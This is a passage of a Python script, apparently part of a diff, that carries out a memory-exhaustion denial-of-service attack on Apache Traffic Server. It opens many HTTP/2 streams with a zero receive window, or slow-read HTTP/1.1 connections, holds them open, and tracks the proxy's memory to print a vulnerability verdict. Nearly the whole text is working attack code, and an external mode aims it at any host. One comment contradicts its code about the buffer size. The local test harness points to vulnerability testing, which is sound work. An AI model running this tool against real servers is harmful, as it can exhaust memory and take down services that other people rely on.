headers, holds body frozen.""" + + num_streams: int = 1 # H1 = one request per connection + + def __init__(self, host: str, port: int, sni: str, path: str): + self.host = host + self.port = port + self.sni = sni + self.path = path + self._sock: ssl.SSLSocket | None = None + self._alive = True + + def connect(self) -> None: + ctx = ssl.create_default_context() + ctx.check_hostname = False + ctx.verify_mode = ssl.CERT_NONE + ctx.set_alpn_protocols(['http/1.1']) + raw = socket.create_connection((self.host, self.port), timeout=15) + raw.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) + self._sock = ctx.wrap_socket(raw, server_hostname=self.sni) + self._sock.settimeout(10.0) + + alpn = self._sock.selected_alpn_protocol() + if alpn not in ('http/1.1', None): + raise RuntimeError(f'ALPN negotiated {alpn!r}, not http/1.1') + + req = (f'GET {self.path} HTTP/1.1\r\n' + f'Host: {self.sni}\r\n' + f'Connection: keep-alive\r\n\r\n') + self._sock.sendall(req.encode()) + + # Read response headers only; stop before the body. + # The unflushed body will pile up in ATS send buffers. + buf = b'' + while b'\r\n\r\n' not in buf: + chunk = self._sock.recv(4096) + if not chunk: + raise RuntimeError('Server closed connection before headers') + buf += chunk + + # Set a very large socket receive buffer so the OS stops advertising + # TCP window, which eventually backpressures ATS. + try: + self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 4096) + except OSError: + pass + + def drop(self) -> None: + self._alive = False + if self._sock: + try: + self._sock.close() + except OSError: + pass + self._sock = None + + +# --------------------------------------------------------------------------- +# Origin server (self-contained mode) +# --------------------------------------------------------------------------- + + +class LargeBodyHandler(http.server.BaseHTTPRequestHandler): + body_size: int = 10 * 1024 * 1024 + + def do_GET(self): + self.send_response(200) + self.send_header('Content-Type', 'application/octet-stream') + self.send_header('Content-Length', str(self.body_size)) + self.end_headers() + remaining = self.body_size + chunk = b'X' * 65536 + while remaining > 0: + send_now = min(remaining, len(chunk)) + try: + self.wfile.write(chunk[:send_now]) + except (BrokenPipeError, ConnectionResetError, OSError): + break + remaining -= send_now + + def log_message(self, fmt, *args): + pass # suppress per-request logging + + +class _ThreadedHTTPServer(http.server.ThreadingHTTPServer): + """HTTPServer variant that handles each connection in its own daemon thread. + + This prevents a single slow ATS connection (which stalls the origin write + because ATS is flow-controlled) from blocking new connections. + """ + daemon_threads = True + + +def start_origin(port: int, body_size: int) -> http.server.HTTPServer: + LargeBodyHandler.body_size = body_size + server = _ThreadedHTTPServer(('127.0.0.1', port), LargeBodyHandler) + t = threading.Thread(target=server.serve_forever, daemon=True) + t.start() + return server + + +# --------------------------------------------------------------------------- +# Runroot setup (self-contained mode) +# --------------------------------------------------------------------------- + + +def reserve_port() -> int: + s = socket.socket() + s.bind(('127.0.0.1', 0)) + port = s.getsockname()[1] + s.close() + return port + + +def wait_for_port(port: int, proc: subprocess.Popen, timeout: float = 30.0) -> None: + deadline = time.monotonic() + timeout + while time.monotonic() < deadline: + if proc.poll() is not None: + raise RuntimeError(f'ATS exited while waiting for port {port}') + s = socket.socket() + s.settimeout(0.2) + try: + s.connect(('127.0.0.1', port)) + s.close() + return + except OSError: + time.sleep(0.1) + raise RuntimeError(f'Timed out waiting for port {port}') + + +def setup_runroot(ats_prefix: Path, run_dir: Path, ats_port: int, origin_port: int) -> tuple[Path, Path]: + """Create a minimal runroot and return (runroot_path, cert_path).""" + run_dir.mkdir(parents=True, exist_ok=True) + rr = run_dir / 'runroot' + for d in ['etc/trafficserver', 'var/log/trafficserver', 'runtime', 'cache', 'libexec/trafficserver']: + (rr / d).mkdir(parents=True, exist_ok=True) + + (rr / 'runroot.yaml').write_text( + textwrap.dedent( + f"""\ + prefix: {rr} + bindir: {ats_prefix}/bin + sbindir: {ats_prefix}/bin + sysconfdir: {rr}/etc/trafficserver + logdir: {rr}/var/log/trafficserver + libexecdir: {rr}/libexec/trafficserver + localstatedir: {rr}/runtime + runtimedir: {rr}/runtime + cachedir: {rr}/cache + """)) + + cert = rr / 'etc/trafficserver/server.pem' + key = rr / 'etc/trafficserver/server.key' + subprocess.run( + [ + 'openssl', + 'req', + '-x509', + '-newkey', + 'rsa:2048', + '-nodes', + '-keyout', + str(key), + '-out', + str(cert), + '-days', + '1', + '-subj', + '/CN=ats.test', + ], + check=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL) + + (rr / 'etc/trafficserver/records.yaml').write_text( + textwrap.dedent( + f"""\ + records: + accept_threads: 1 + task_threads: 2 + exec_thread: + autoconfig: + enabled: 0 + limit: 4 + http: + server_ports: "{ats_port}:proto=http2;http:ssl" + cache: + http: 0 + reverse_proxy: + enabled: 1 + url_remap: + remap_required: 1 + dns: + resolv_conf: "NULL" + log: + logging_enabled: 0 + http2: + active_timeout_in: 0 + no_activity_timeout_in: 120 + max_concurrent_streams_in: 100 + default_buffer_water_mark: -1 + body_factory: + template_sets_dir: {ats_prefix}/etc/trafficserver/body_factory + """)) + + (rr / 'etc/trafficserver/remap.config').write_text(f'map / http://127.0.0.1:{origin_port}/\n') + (rr / 'etc/trafficserver/ip_allow.yaml').write_text( + textwrap.dedent( + """\ + ip_allow: + - apply: in + ip_addrs: 0/0 + action: allow + methods: ALL + """)) + (rr / 'etc/trafficserver/ssl_multicert.yaml').write_text( + textwrap.dedent( + """\ + ssl_multicert: + - ssl_cert_name: server.pem + ssl_key_name: server.key + dest_ip: "*" + """)) + (rr / 'etc/trafficserver/sni.yaml').write_text( + textwrap.dedent("""\ + sni: + - fqdn: ats.test + http2: on + """)) + for name in ['plugin.config', 'logging.yaml', 'storage.yaml', 'storage.config']: + (rr / f'etc/trafficserver/{name}').write_text('') + + return rr, cert + + +# --------------------------------------------------------------------------- +# Main +# --------------------------------------------------------------------------- + +args_global: argparse.Namespace # set in main, accessed by H2Conn._ping_loop + + +def parse_args() -> argparse.Namespace: + p = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) + mode = p.add_mutually_exclusive_group(required=True) + mode.add_argument('--host', help='ATS host (external mode)') + mode.add_argument('--self-contained', action='store_true', help='Start origin + ATS runroot automatically') + + p.add_argument('--port', type=int, default=4443, help='ATS HTTPS port (external mode, default 4443)') + p.add_argument('--sni', default='ats.test', help='TLS SNI hostname (default ats.test)') + p.add_argument('--path', default='/largefile', help='URL path to request (default /largefile)') + + # Self-contained mode + p.add_argument('--ats-prefix', default='/opt/ats', help='ATS install prefix (self-contained, default /opt/ats)') + p.add_argument('--runroot-base', default='/tmp/iws0-test', help='Base dir for temp runroot (self-contained)') + p.add_argument('--body-size', type=int, default=10 * 1024 * 1024, help='Origin response body size in bytes (default 10 MB)') + + # Attack parameters + p.add_argument('--protocol', choices=['h2', 'h1'], default='h2', help='Attack protocol: h2 (IWS=0, default) or h1 (slow-read)') + p.add_argument('--streams', type=int, default=50, help='Streams per H2 connection (default 50; ignored for h1)') + p.add_argument('--conns', type=int, default=5, help='Number of connections (default 5)') + p.add_argument('--ping-interval', type=float, default=15.0, help='Seconds between H2 PING frames (default 15)') + p.add_argument('--hold-seconds', type=float, default=60.0, help='Seconds to hold connections open (default 60)') + p.add_argument('--ats-pid', type=int, default=None, help='ATS PID for RSS monitoring (auto-detected if not set)') + return p.parse_args() + + +def main() -> int: + global args_global + args = parse_args() + args_global = args + + ats_proc: subprocess.Popen | None = None + origin_srv = None + runroot_dir: Path | None = None + + # ------------------------------------------------------------------ + # Self-contained mode: spin up origin + ATS + # ------------------------------------------------------------------ + if args.self_contained: + ats_prefix = Path(args.ats_prefix) + binary = ats_prefix / 'bin' / 'traffic_server' + if not binary.exists(): + print(f'[ERROR] traffic_server not found at {binary}', file=sys.stderr) + return 1 + + runroot_dir = Path(args.runroot_base) / f'iws0-{int(time.time())}' + ats_port = reserve_port() + origin_port = reserve_port() + + print(f'[setup] origin port={origin_port} ats port={ats_port}') + origin_srv = start_origin(origin_port, args.body_size) + time.sleep(0.2) + + rr, _cert = setup_runroot(ats_prefix, runroot_dir, ats_port, origin_port) + + env = os.environ.copy() + env['TS_RUNROOT'] = str(rr) + env.pop('TS_ROOT', None) + env['LD_LIBRARY_PATH'] = f"{ats_prefix}/lib:" + env.get('LD_LIBRARY_PATH', '') + ats_log = runroot_dir / 'ats.log' + ats_proc = subprocess.Popen( + [str(binary)], + stdout=ats_log.open('w'), + stderr=subprocess.STDOUT, + env=env, + ) + print(f'[setup] ATS pid={ats_proc.pid} waiting for port...') + wait_for_port(ats_port, ats_proc) + print(f'[setup] ATS ready') + + host = '127.0.0.1' + port = ats_port + ats_pid = ats_proc.pid + else: + host = args.host + port = args.port + ats_pid = args.ats_pid or find_ats_pid() + + if ats_pid: + rss_before = rss_kb(ats_pid) + print(f'[rss] ATS pid={ats_pid} RSS before={rss_before} KB' + f' ({(rss_before or 0) / 1024:.1f} MB)') + else: + rss_before = None + print('[rss] ATS PID not found -- RSS monitoring disabled') + + # ------------------------------------------------------------------ + # Open all connections + # ------------------------------------------------------------------ + streams_per_conn = 1 if args.protocol == 'h1' else args.streams + total_streams = args.conns * streams_per_conn + print( + f'[attack] protocol={args.protocol.upper()} opening {args.conns} connections' + f' × {streams_per_conn} streams = {total_streams} frozen streams') + print( + f'[attack] each stream requests {args.body_size / (1024*1024):.1f} MB' + f' theoretical max buffer = {total_streams * args.body_size / (1024**3):.2f} GB') + + connections: list[H2Conn | H1Conn] = [] + errors = 0 + for i in range(args.conns): + if args.protocol == 'h1': + conn: H2Conn | H1Conn = H1Conn(host, port, args.sni, args.path) + else: + conn = H2Conn(host, port, args.sni, args.streams, args.path) + try: + conn.connect() + connections.append(conn) + print(f'[conn {i+1}/{args.conns}] opened streams={streams_per_conn}') + except Exception as exc: + print(f'[conn {i+1}/{args.conns}] FAILED: {exc}') + errors += 1 + + if not connections: + print('[ERROR] all connections failed', file=sys.stderr) + return 1 + + # Update total_streams to reflect only successfully-opened connections. + total_streams = len(connections) * streams_per_conn + + print(f'[attack] {len(connections)} connections open' + f' ({errors} failed) holding for {args.hold_seconds}s ...') + + # ------------------------------------------------------------------ + # Hold period: poll RSS + # ------------------------------------------------------------------ + t_start = time.monotonic() + rss_peak = rss_before or 0 + while time.monotonic() - t_start < args.hold_seconds: + time.sleep(5) + elapsed = time.monotonic() - t_start + if ats_pid: + rss_now = rss_kb(ats_pid) or 0 + rss_peak = max(rss_peak, rss_now) + delta = rss_now - (rss_before or 0) + print( + f'[rss] t={elapsed:.0f}s RSS={rss_now} KB' + f' ({rss_now/1024:.1f} MB) delta=+{delta} KB' + f' ({delta/1024:.1f} MB)') + else: + print(f'[hold] t={elapsed:.0f}s') + + # ------------------------------------------------------------------ + # Drop all connections simultaneously + # ------------------------------------------------------------------ + print(f'[attack] dropping all {len(connections)} connections simultaneously ...') + t_drop = time.monotonic() + for conn in connections: + conn.drop() + print(f'[attack] dropped in {(time.monotonic() - t_drop)*1000:.1f} ms') + + # Wait a moment then check RSS (should show memory NOT freed, bloat persists) + time.sleep(3) + if ats_pid: + rss_after = rss_kb(ats_pid) + rss_delta = (rss_after or 0) - (rss_before or 0) + print() + print('=== RESULTS ===') + print(f'ATS pid : {ats_pid}') + print(f'protocol : {args.protocol.upper()}') + print(f'connections : {len(connections)}') + print(f'streams/conn : {streams_per_conn}') + print(f'total streams : {total_streams}') + print(f'body size : {args.body_size / (1024*1024):.1f} MB') + print(f'hold duration : {args.hold_seconds}s') + per_stream_kb = rss_delta / max(total_streams, 1) + print(f'RSS before : {(rss_before or 0) / 1024:.1f} MB') + print(f'RSS peak : {rss_peak / 1024:.1f} MB') + print(f'RSS after drop : {(rss_after or 0) / 1024:.1f} MB') + print(f'RSS delta : +{rss_delta / 1024:.1f} MB') + print(f'Per-stream : ~{per_stream_kb:.0f} KB/stream (limit: 1024 KB)') + print() + if per_stream_kb > 1024: + print('VERDICT: VULNERABLE -- per-stream buffer exceeds 1 MB limit') + elif per_stream_kb > 200: + print('VERDICT: LIKELY VULNERABLE -- per-stream buffer exceeds 200 KB') + elif total_streams < 100: + print('VERDICT: NOT conclusive -- try more connections/larger body') + else: + print('VERDICT: PROTECTED -- per-stream buffer within 1 MB limit') + + # ------------------------------------------------------------------ + # Teardown + # ------------------------------------------------------------------ + if ats_proc: + ats_proc.terminate() + try: + ats_proc.wait(timeout=10) + except subprocess.TimeoutExpired: + ats_proc.kill() + ats_proc.wait() + if origin_srv: + origin_srv.shutdown() + if runroot_dir and runroot_dir.exists(): + shutil.rmtree(runroot_dir, ignore_errors=True) + + return 0 + + +if __name__ == '__main__': + raise SystemExit(main())